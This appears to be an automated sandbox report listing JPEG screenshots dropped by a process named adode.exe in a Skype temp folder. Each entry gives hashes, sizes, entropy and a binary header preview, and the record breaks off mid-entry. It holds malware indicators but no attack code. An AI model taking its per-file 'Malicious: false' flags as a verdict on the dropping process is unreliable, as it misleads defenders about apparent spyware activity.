Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240509_064719.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240511_160746.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240516_082220.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240516_192747.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240517_041907.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240523_200936.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240524_014806.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240524_071805.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240524_160033.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240524_224453.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152824
Entropy (8bit):	7.924856317096302
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5:7HM9tZj6BvNuHwpLyaG2T
MD5:	1B503203744530DCA29991A7C7EF553F
SHA1:	B97C775BE32BAD9C01ED1E8BDCE74AABF8796680
SHA-256:	BF742FFB1536DD87D95A21E660B4D8C6C54A326F9DC30A56901823AA1394850D
SHA-512:	D04B58BFC66AB5CEE441EECF77B771605BF35C7762FE0675876BBBB2D1AEA5906D1918280883F0A3BC5D695BFBAD1A85E9859762436FADCFA654EE66A0A5F24A
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240529_120642.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240529_182534.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240530_055923.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240530_143956.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240616_192948.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144959
Entropy (8bit):	7.929174205665049
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodgsyJd7UNfCVCtXG0dBA:WpgzOCtbRJPBBcFJg7JIf8CVA
MD5:	469CF8080C2A46D06A37EC67D3EA4B92
SHA1:	2612BB5F2130A5DA0D3584C3CDA712A85768AE72
SHA-256:	87B2D23D3C91EB0F2D03C49655D8B8E9A6EB4EA87572AAE2E98282DD2D60AC6C
SHA-512:	C71CB32BE0C375BD015E6EA0744D9F27F130B06EB4BFF831D1183B94C495B5D597B97A48B6750AFB0AE3B18B44194508AE938BB8FCE8A4EB8D454666A2952876
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240618_022926.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240618_075439.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
